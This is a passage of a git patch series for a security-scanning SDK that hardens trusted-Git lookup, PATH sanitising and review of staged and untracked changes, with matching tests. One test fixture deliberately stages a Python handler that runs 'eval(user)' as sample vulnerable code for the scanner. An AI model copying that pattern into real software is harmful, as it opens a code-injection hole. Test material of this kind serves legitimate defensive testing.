"diff", - "--binary", - "--full-index", - "--no-ext-diff", - "--no-textconv", - "--ignore-submodules=none", - "--", - pathspec, - git_dir=git_dir, - work_tree=work_tree, - ) + if legacy: + staged = b"" + unstaged = b"" + else: + staged = git_bytes( + repository, + "diff", + "--cached", + "--binary", + "--full-index", + "--no-ext-diff", + "--no-textconv", + "--ignore-submodules=none", + "HEAD", + "--", + pathspec, + git_dir=git_dir, + work_tree=work_tree, + ) + unstaged = git_bytes( + repository, + "diff", + "--binary", + "--full-index", + "--no-ext-diff", + "--no-textconv", + "--ignore-submodules=none", + "--", + pathspec, + git_dir=git_dir, + work_tree=work_tree, + ) untracked = git_bytes( repository, "ls-files", @@ -621,7 +626,10 @@ def scan_target_warning(scan: sqlite3.Row) -> str | None: expected_digest = ( scan["diff_content_digest"] if working_tree else scan["target_snapshot_digest"] ) - if worktree_content_digest(target) != expected_digest: + if ( + worktree_content_digest(target) != expected_digest + and worktree_content_digest(target, legacy=True) != expected_digest + ): return ( "Working-tree contents changed while the scan was running; " "results were saved for the original snapshot." diff --git a/sdk/typescript/src/api.ts b/sdk/typescript/src/api.ts index 856c46e5..eda8cd72 100644 --- a/sdk/typescript/src/api.ts +++ b/sdk/typescript/src/api.ts @@ -475,6 +475,16 @@ export class CodexSecurity { pluginEnvironment, protectedRoot, ); + const sanitizedPath = + git === null + ? ( + await resolveTrustedExecutable( + python, + pluginEnvironment, + protectedRoot, + ) + )?.environment["PATH"] + : undefined; checkOpen(); const scanOutputRoot = requestedOutput === null && @@ -743,6 +753,7 @@ export class CodexSecurity { python, withoutCodexHome(pluginEnvironment), git, + sanitizedPath, ), CODEX_HOME: runtime.codexHome, ...runtimePaths, diff --git a/sdk/typescript/src/runtime.ts b/sdk/typescript/src/runtime.ts index 14659dec..10669a02 100644 --- a/sdk/typescript/src/runtime.ts +++ b/sdk/typescript/src/runtime.ts @@ -471,6 +471,15 @@ export async function runWorkbench( options.python, options.environment, git, + git === null + ? ( + await resolveTrustedExecutable( + options.python, + options.environment, + options.protectedRoot ?? process.cwd(), + ) + )?.environment["PATH"] + : undefined, ); let stdout: string; try { @@ -1549,6 +1558,7 @@ export function pluginExecutionEnvironment( python: string, environment: ProcessEnvironment = process.env, git?: TrustedExecutable | null, + sanitizedPath?: string, ): ProcessEnvironment { const result = { ...environment }; if (git !== undefined) { @@ -1558,7 +1568,7 @@ export function pluginExecutionEnvironment( delete result[name]; } } - result["PATH"] = git?.environment["PATH"] ?? ""; + result["PATH"] = git?.environment["PATH"] ?? sanitizedPath ?? ""; result["CODEX_SECURITY_GIT"] = git?.executable ?? ""; } result["PYTHON"] = python; diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 9601ab55..ca24dfad 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -369,6 +369,54 @@ describe("diff rank input", () => { }); }); + test("includes staged deletions of ignored Git submodules", async () => { + const fixture = await createRepository(); + const path = "vendor/dep"; + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${fixture.base},${path}`, + ); + git(fixture.repository, "commit", "-qm", "add gitlink dependency"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "rm", "--cached", "--quiet", path); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: "", + }); + }); + + test("includes ignored Git submodules staged as regular files", async () => { + const fixture = await createRepository(); + const path = "vendor/dep"; + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${fixture.base},${path}`, + ); + git(fixture.repository, "commit", "-qm", "add gitlink dependency"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "rm", "--cached", "--quiet", path); + await writeRepositoryFile( + fixture.repository, + path, + "replacement dependency\n", + ); + git(fixture.repository, "add", "--force", path); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: "replacement dependency", + }); + }); + test("previews local dirty Git submodules from their pinned index commit", async () => { const fixture = await createRepository(); const submodule = join(fixture.repository, ".github", "actions", "sub"); @@ -809,6 +857,7 @@ describe("diff rank input", () => { python!, [ "-I", + "-B", "-c", "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", join(PLUGIN_ROOT, "scripts"), @@ -832,6 +881,57 @@ describe("diff rank input", () => { expect(digest()).not.toBe(previous); }); + test("preserves legacy working-tree snapshots while binding new index digests", async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 2;\n", + ); + git(fixture.repository, "add", "src/app.ts"); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const result = execFileSync( + python!, + [ + "-I", + "-B", + "-c", + [ + "import json, sqlite3, sys", + "from pathlib import Path", + "sys.path.insert(0, sys.argv[1])", + "from workbench_db import require_diff_target", + "from workbench_target import scan_target_warning, worktree_content_digest", + "target = Path(sys.argv[2])", + "revision = sys.argv[3]", + "modern = worktree_content_digest(target)", + "legacy = worktree_content_digest(target, legacy=True)", + "selected = require_diff_target(target, 'working_tree', revision, revision, legacy)", + "connection = sqlite3.connect(':memory:')", + "connection.row_factory = sqlite3.Row", + "metadata = target.stat()", + "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', legacy, str(target), metadata.st_dev, metadata.st_ino, revision, revision, legacy, str(target.parent / 'scan'))).fetchone()", + "print(json.dumps({'modern': modern, 'legacy': legacy, 'selected': selected['contentDigest'], 'warning': scan_target_warning(scan)}))", + ].join("\n"), + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + fixture.base, + ], + { encoding: "utf8" }, + ); + const snapshot = JSON.parse(result) as { + modern: string; + legacy: string; + selected: string; + warning: string | null; + }; + + expect(snapshot.modern).not.toBe(snapshot.legacy); + expect(snapshot.selected).toBe(snapshot.legacy); + expect(snapshot.warning).toBeNull(); + }); + test("continues to exclude binary files and ignored dependency directories", async () => { const fixture = await createRepository(); await Promise.all([ diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index dcdfde8e..0f21649b 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1624,6 +1624,57 @@ describe("runtime directories and plugin Python boundary", () => { }, ); + testPosix( + "preserves a sanitized executable path when Git is unavailable", + async () => { + const root = await temporaryDirectory(); + const repository = join(root, "repository"); + const protectedBinaries = join(repository, "node_modules", ".bin"); + const safeBinaries = join(root, "trusted-binaries"); + const pluginRoot = join(root, "plugin"); + await Promise.all([ + mkdir(protectedBinaries, { recursive: true }), + mkdir(safeBinaries, { recursive: true }), + mkdir(join(pluginRoot, "scripts"), { recursive: true }), + ]); + await writeFile( + join(safeBinaries, "rg"), + "#!/bin/sh\nprintf '%s\\n' trusted-ripgrep\n", + { mode: 0o700 }, + ); + await writeFile( + join(pluginRoot, "scripts", "workbench_db.py"), + [ + "import json, os, subprocess", + "assert os.environ.get('GIT_CONFIG_COUNT') is None", + "assert os.environ['CODEX_SECURITY_GIT'] == ''", + "result = subprocess.run(['rg'], check=True, capture_output=True, text=True)", + "print(json.dumps({'path': os.environ['PATH'], 'output': result.stdout.strip()}))", + ].join("\n"), + ); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + + const result = await runWorkbench( + { + python: python!, + pluginRoot, + protectedRoot: repository, + environment: { + PATH: `${protectedBinaries}${delimiter}${safeBinaries}`, + GIT_CONFIG_COUNT: "1", + }, + }, + ["test-command"], + ); + + expect(result).toEqual({ + path: await realpath(safeBinaries), + output: "trusted-ripgrep", + }); + }, + ); + testPosix( "does not let diff ranking fall back to a repository-local Git shim", async () => { @@ -2043,6 +2094,19 @@ describe("runtime directories and plugin Python boundary", () => { CODEX_SECURITY_GIT: "/trusted/bin/git", PYTHON: managed, }); + expect( + pluginExecutionEnvironment( + managed, + { Path: "/repository/bin", GIT_CONFIG_COUNT: "1", TEST: "1" }, + null, + "/trusted/bin", + ), + ).toEqual({ + PATH: "/trusted/bin", + TEST: "1", + CODEX_SECURITY_GIT: "", + PYTHON: managed, + }); expect( pluginExecutionEnvironment( managed, From 9ea6fd041ef961a71dc65afe4c0f0e09d7744789 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 13:05:31 -0700 Subject: [PATCH 15/46] test: serialize Windows filesystem identities in snapshot fixtures --- sdk/typescript/tests-ts/diff-rank-input.test.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index ca24dfad..e960e13c 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -901,6 +901,7 @@ describe("diff rank input", () => { "import json, sqlite3, sys", "from pathlib import Path", "sys.path.insert(0, sys.argv[1])", + "from filesystem_identity import serialize_filesystem_identity", "from workbench_db import require_diff_target", "from workbench_target import scan_target_warning, worktree_content_digest", "target = Path(sys.argv[2])", @@ -911,7 +912,7 @@ describe("diff rank input", () => { "connection = sqlite3.connect(':memory:')", "connection.row_factory = sqlite3.Row", "metadata = target.stat()", - "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', legacy, str(target), metadata.st_dev, metadata.st_ino, revision, revision, legacy, str(target.parent / 'scan'))).fetchone()", + "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', legacy, str(target), serialize_filesystem_identity(metadata.st_dev), serialize_filesystem_identity(metadata.st_ino), revision, revision, legacy, str(target.parent / 'scan'))).fetchone()", "print(json.dumps({'modern': modern, 'legacy': legacy, 'selected': selected['contentDigest'], 'warning': scan_target_warning(scan)}))", ].join("\n"), join(PLUGIN_ROOT, "scripts"), From 271d3f233e701b213ab3e004f25d0007479bc75a Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 13:11:13 -0700 Subject: [PATCH 16/46] fix: harden nested Git boundaries and staged snapshot review --- .../scripts/generate_rank_input.py | 7 ++-- .../scripts/workbench_constants.py | 13 ++++++-- .../_bundled_plugin/scripts/workbench_db.py | 1 - .../tests-ts/diff-rank-input.test.ts | 33 ++++++++++++++++++- 4 files changed, 47 insertions(+), 7 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index ca62f323..b15995bc 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -818,7 +818,10 @@ def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple unstaged = run_git_changed_paths(repo, [base]) staged = run_git_changed_paths(repo, ["--cached", base]) combined = dict(staged) - combined.update(unstaged) + for path, status in unstaged: + if status == "D" and combined.get(path) == "T": + continue + combined[path] = status return sorted(combined.items()) raise SystemExit(f"Unknown diff mode: {mode}") @@ -867,7 +870,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: f"Git submodule pinned to commit {gitlink_revision}", False, ) - elif status == "A" and not path.exists() and not path.is_symlink(): + elif status in {"A", "T"} and not path.exists() and not path.is_symlink(): preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) else: preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py index a31b38f2..51a6e761 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py @@ -76,10 +76,18 @@ def trusted_git_executable(protected_root: Path | None = None) -> str | None: + root = protected_root.resolve() if protected_root is not None else None + if root is not None: + for ancestor in root.parents: + marker = ancestor / ".git" + try: + if marker.is_dir() or marker.is_file(): + root = ancestor + except OSError: + continue executable = os.environ.get("CODEX_SECURITY_GIT") if not executable: names = ("git.exe", "git.com") if os.name == "nt" else ("git",) - root = protected_root.resolve() if protected_root is not None else None for entry in os.environ.get("PATH", "").split(os.pathsep): if not entry: continue @@ -102,8 +110,7 @@ def trusted_git_executable(protected_root: Path | None = None) -> str | None: raise SystemExit("CODEX_SECURITY_GIT does not name an available executable.") from exc if not canonical.is_file() or not os.access(canonical, os.X_OK): raise SystemExit("CODEX_SECURITY_GIT does not name an available executable.") - if protected_root is not None: - root = protected_root.resolve() + if root is not None: if canonical == root or root in canonical.parents: raise SystemExit("CODEX_SECURITY_GIT must stay outside the protected repository.") return str(canonical) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index 0b2a84e7..1ea53618 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -384,7 +384,6 @@ def require_diff_target( "Working-tree contents changed after they were selected. " "Select Uncommitted changes again." ) - current_digest = content_digest return { "kind": kind, "baseRevision": current_head, diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index e960e13c..a58ab4c0 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -238,6 +238,31 @@ describe("diff rank input", () => { expect(result.status, result.stderr).toBe(0); expect(result.stdout.trim()).toBe(await realpath(trustedGit!)); await expect(readFile(marker)).rejects.toMatchObject({ code: "ENOENT" }); + + const nested = join(fixture.repository, "vendor", "nested"); + await mkdir(nested, { recursive: true }); + git(nested, "init", "-q"); + const nestedResult = spawnSync( + python!, + [ + "-I", + "-B", + "-c", + [ + "from pathlib import Path", + "import sys", + "sys.path.insert(0, sys.argv[1])", + "from workbench_constants import trusted_git_executable", + "print(trusted_git_executable(Path(sys.argv[2])))", + ].join("\n"), + join(PLUGIN_ROOT, "scripts"), + nested, + ], + { encoding: "utf8", env: environment }, + ); + expect(nestedResult.status, nestedResult.stderr).toBe(0); + expect(nestedResult.stdout.trim()).toBe(await realpath(trustedGit!)); + await expect(readFile(marker)).rejects.toMatchObject({ code: "ENOENT" }); }); test.skipIf(process.platform === "win32")( @@ -415,6 +440,12 @@ describe("diff rank input", () => { area: "diff", preview: "replacement dependency", }); + await rm(join(fixture.repository, path)); + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: "replacement dependency", + }); }); test("previews local dirty Git submodules from their pinned index commit", async () => { @@ -929,7 +960,7 @@ describe("diff rank input", () => { }; expect(snapshot.modern).not.toBe(snapshot.legacy); - expect(snapshot.selected).toBe(snapshot.legacy); + expect(snapshot.selected).toBe(snapshot.modern); expect(snapshot.warning).toBeNull(); }); From b92872710a356456844b49ce2c5597794bf317f0 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 13:28:36 -0700 Subject: [PATCH 17/46] fix: include staged and untracked local patch contents --- .../scripts/generate_rank_input.py | 69 ++++++++++++++++--- .../tests-ts/diff-rank-input.test.ts | 48 +++++++++++++ 2 files changed, 109 insertions(+), 8 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index b15995bc..92edc958 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -811,18 +811,52 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, return changed -def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple[Path, str]]: +def git_untracked_paths(repo: Path) -> list[tuple[Path, str]]: + git = trusted_git_executable(repo) + if git is None: + raise SystemExit("Git is unavailable on the trusted executable path.") + environment = os.environ.copy() + for name in GIT_REPOSITORY_ENVIRONMENT: + environment.pop(name, None) + result = subprocess.run( + [ + git, + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + str(repo), + "ls-files", + "--others", + "--exclude-standard", + "-z", + ], + check=True, + capture_output=True, + text=True, + env=environment, + ) + return [(repo / path, "A") for path in result.stdout.split("\0") if path] + + +def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple[Path, str, bool]]: if mode == "revisions": - return run_git_changed_paths(repo, [f"{base}..{head}"]) + return [ + (path, status, False) + for path, status in run_git_changed_paths(repo, [f"{base}..{head}"]) + ] if mode == "local-patch": unstaged = run_git_changed_paths(repo, [base]) staged = run_git_changed_paths(repo, ["--cached", base]) - combined = dict(staged) + combined = {path: (status, True) for path, status in staged} for path, status in unstaged: - if status == "D" and combined.get(path) == "T": + existing = combined.get(path) + if status == "D" and existing is not None and existing[0] == "T": continue - combined[path] = status - return sorted(combined.items()) + combined[path] = (status, existing is not None) + for path, status in git_untracked_paths(repo): + combined.setdefault(path, (status, False)) + return [(path, *details) for path, details in sorted(combined.items())] raise SystemExit(f"Unknown diff mode: {mode}") @@ -832,7 +866,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: raise SystemExit(f"Repo path not found: {repo}") rows: list[JsonRow] = [] - for path, status in git_changed_paths(repo, args.base, args.head, args.mode): + for path, status, is_staged in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) gitlink_revision = None index_is_gitlink = False @@ -870,8 +904,27 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: f"Git submodule pinned to commit {gitlink_revision}", False, ) - elif status in {"A", "T"} and not path.exists() and not path.is_symlink(): + elif is_staged and not path.exists() and not path.is_symlink(): preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) + elif is_staged: + staged_preview, staged_binary = staged_diff_preview(repo, path, args.preview_bytes) + working_preview, working_binary = confined_diff_preview( + repo, path, args.preview_bytes + ) + is_binary = staged_binary or working_binary + preview = ( + staged_preview + if staged_preview == working_preview + else fit_preview_lines( + [ + "Staged Git index:", + *staged_preview.splitlines(), + "Working tree:", + *working_preview.splitlines(), + ], + args.preview_bytes, + ) + ) else: preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) if is_binary: diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index a58ab4c0..b1a31447 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -658,6 +658,54 @@ describe("diff rank input", () => { }); }); + test("reviews both staged and restored working-tree versions of modified files", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + await writeRepositoryFile( + fixture.repository, + path, + "export const dangerous = 'staged vulnerable content';\n", + ); + git(fixture.repository, "add", path); + await writeRepositoryFile( + fixture.repository, + path, + "export const value = 1;\n", + ); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: + "Staged Git index:\nexport const dangerous = 'staged vulnerable content';\nWorking tree:\nexport const value = 1;", + }); + }); + + test("inventories untracked security-sensitive files without including ignored files", async () => { + const fixture = await createRepository(); + const workflow = ".github/workflows/deploy.yml"; + await Promise.all([ + writeRepositoryFile( + fixture.repository, + workflow, + "name: Untracked deploy\n", + ), + writeRepositoryFile( + fixture.repository, + "node_modules/ignored.ts", + "export const ignored = true;\n", + ), + ]); + + expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ + { + path: workflow, + area: "diff", + preview: "key name", + }, + ]); + }); + test.skipIf(process.platform === "win32")( "never previews committed symlinks or repository paths escaping through a symlinked parent", async () => { From f10a22b6094eca171cf8b7b8036233d21d628497 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 13:50:30 -0700 Subject: [PATCH 18/46] fix: review every staged and working-tree diff representation --- .../scripts/generate_rank_input.py | 72 +++++++++-- .../skills/security-diff-scan/SKILL.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 118 ++++++++++++++++++ 3 files changed, 181 insertions(+), 11 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 92edc958..e153c4a4 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -554,6 +554,39 @@ def staged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str return git_blob_preview(command, environment, path, object_id, preview_bytes) +def staged_content_differs_from_working_tree(repo: Path, path: Path) -> bool: + executable = trusted_git_executable(repo) + if executable is None: + raise SystemExit("Git is unavailable on the trusted executable path.") + environment = os.environ.copy() + for name in GIT_REPOSITORY_ENVIRONMENT: + environment.pop(name, None) + environment["GIT_LITERAL_PATHSPECS"] = "1" + result = subprocess.run( + [ + executable, + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + str(repo), + "diff", + "--no-ext-diff", + "--no-textconv", + "--quiet", + "--", + path.relative_to(repo).as_posix(), + ], + capture_output=True, + env=environment, + ) + if result.returncode not in {0, 1}: + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {path.relative_to(repo)}" + ) + return result.returncode == 1 + + def resolve_scope(repo: Path, scope: str, *, expand_user: bool = True) -> Path: scope_path = Path(scope).expanduser() if expand_user else Path(scope) if not scope_path.is_absolute(): @@ -790,9 +823,8 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, ], check=True, capture_output=True, - text=True, ) - fields = result.stdout.split("\0") + fields = [os.fsdecode(field) for field in result.stdout.split(b"\0")] if fields and not fields[-1]: fields.pop() @@ -833,10 +865,13 @@ def git_untracked_paths(repo: Path) -> list[tuple[Path, str]]: ], check=True, capture_output=True, - text=True, env=environment, ) - return [(repo / path, "A") for path in result.stdout.split("\0") if path] + return [ + (repo / os.fsdecode(path), "A") + for path in result.stdout.split(b"\0") + if path + ] def git_changed_paths(repo: Path, base: str, head: str, mode: str) -> list[tuple[Path, str, bool]]: @@ -911,11 +946,27 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: working_preview, working_binary = confined_diff_preview( repo, path, args.preview_bytes ) - is_binary = staged_binary or working_binary - preview = ( - staged_preview - if staged_preview == working_preview - else fit_preview_lines( + if staged_binary and working_binary: + continue + is_binary = False + if staged_binary: + preview = fit_preview_lines( + [ + "Working tree (staged Git index is binary):", + *working_preview.splitlines(), + ], + args.preview_bytes, + ) + elif working_binary: + preview = fit_preview_lines( + [ + "Staged Git index (working tree is binary):", + *staged_preview.splitlines(), + ], + args.preview_bytes, + ) + elif staged_content_differs_from_working_tree(repo, path): + preview = fit_preview_lines( [ "Staged Git index:", *staged_preview.splitlines(), @@ -924,7 +975,8 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: ], args.preview_bytes, ) - ) + else: + preview = staged_preview else: preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) if is_binary: diff --git a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md index 1bcfe635..65ea9240 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md +++ b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md @@ -135,7 +135,7 @@ Diff scans should: - generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch - for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. For a changed Git submodule, inspect its recorded gitlink commit and `.gitmodules` configuration instead of treating the gitlink as a regular file. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits -- for local patches, read a staged-only added file that no longer exists in the working tree from the exact index blob with `git --no-replace-objects -C show :`; never replace that staged content with an unrelated working-tree file +- for local patches, read every staged Git index blob in full with `git --no-replace-objects -C show :`, and separately read its working-tree version in full when it is a reviewable regular file; inspect both versions even when their sampled outlines match, when one version is binary, or when the staged file no longer exists in the working tree - copy every diff row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl` - deep-review every file in `deep_review_input.jsonl` - add directly supporting files only when repository evidence shows they are needed to understand the changed security behavior diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index b1a31447..5e168878 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -681,6 +681,124 @@ describe("diff rank input", () => { }); }); + test("distinguishes staged blobs even when both structural previews match", async () => { + const fixture = await createRepository(); + const path = "src/handler.py"; + await writeRepositoryFile( + fixture.repository, + path, + "def handler(user):\n return eval(user)\n", + ); + git(fixture.repository, "add", path); + await writeRepositoryFile( + fixture.repository, + path, + "def handler(user):\n return user\n", + ); + + const row = (await runDiffRankInput(fixture, "local-patch")).find( + (candidate) => candidate.path === path, + ); + + expect(row?.preview).toContain("Staged Git index:"); + expect(row?.preview).toContain("Working tree:"); + expect( + await readFile( + join(PLUGIN_ROOT, "skills", "security-diff-scan", "SKILL.md"), + "utf8", + ), + ).toContain("read every staged Git index blob in full"); + }); + + test("retains reviewable staged text when the working-tree version is binary", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + await writeRepositoryFile( + fixture.repository, + path, + "export const staged = 'review the staged version';\n", + ); + git(fixture.repository, "add", path); + await writeRepositoryFile( + fixture.repository, + path, + new Uint8Array([0, 255, 0, 255]), + ); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: + "Staged Git index (working tree is binary):\nexport const staged = 'review the staged version';", + }); + }); + + test("retains reviewable working-tree text when the staged version is binary", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + await writeRepositoryFile( + fixture.repository, + path, + new Uint8Array([0, 255, 0, 255]), + ); + git(fixture.repository, "add", path); + await writeRepositoryFile( + fixture.repository, + path, + "export const working = 'review the working tree';\n", + ); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: + "Working tree (staged Git index is binary):\nexport const working = 'review the working tree';", + }); + }); + + test.skipIf(process.platform === "win32")( + "inventories Git paths containing non-UTF-8 filesystem bytes", + async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/normal.py", + "print('ordinary path')\n", + ); + const python = + Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); + expect(python).not.toBeNull(); + const probe = [ + "from pathlib import Path", + "from types import SimpleNamespace", + "import json, sys", + "sys.path.insert(0, sys.argv[1])", + "import generate_rank_input", + "generate_rank_input.subprocess.run = lambda *args, **kwargs: SimpleNamespace(stdout=b'src/\\xff.py\\x00src/normal.py\\x00')", + "paths = generate_rank_input.git_untracked_paths(Path(sys.argv[2]))", + "print(json.dumps([str(path.relative_to(sys.argv[2])) for path, _ in paths], ensure_ascii=True))", + ].join("\n"); + const decoded = JSON.parse( + execFileSync( + python!, + ["-B", "-c", probe, join(PLUGIN_ROOT, "scripts"), fixture.repository], + { + encoding: "utf8", + env: { + ...process.env, + CODEX_SECURITY_GIT: Bun.which("git") ?? undefined, + }, + }, + ), + ) as string[]; + + const rows = await runDiffRankInput(fixture, "local-patch"); + + expect(rows.some((row) => row.path === "src/normal.py")).toBe(true); + expect(decoded).toEqual(["src/\udcff.py", "src/normal.py"]); + }, + ); + test("inventories untracked security-sensitive files without including ignored files", async () => { const fixture = await createRepository(); const workflow = ".github/workflows/deploy.yml"; From c82d8e72ba00ccac848cd0c39eaeadaeb52f66cc Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 14:11:55 -0700 Subject: [PATCH 19/46] fix: preserve every unresolved Git merge conflict stage --- .../scripts/generate_rank_input.py | 49 +++++++++++++------ .../skills/security-diff-scan/SKILL.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 37 ++++++++++++++ 3 files changed, 72 insertions(+), 16 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index e153c4a4..aa2ab6c4 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -536,22 +536,41 @@ def staged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str env=environment, ) entries = [entry for entry in listed.stdout.split(b"\0") if entry] - if listed.returncode != 0 or len(entries) != 1: + if listed.returncode != 0 or not entries: raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - try: - metadata, staged_path = entries[0].split(b"\t", 1) - mode, object_id, stage = metadata.split(b" ", 2) - except ValueError as 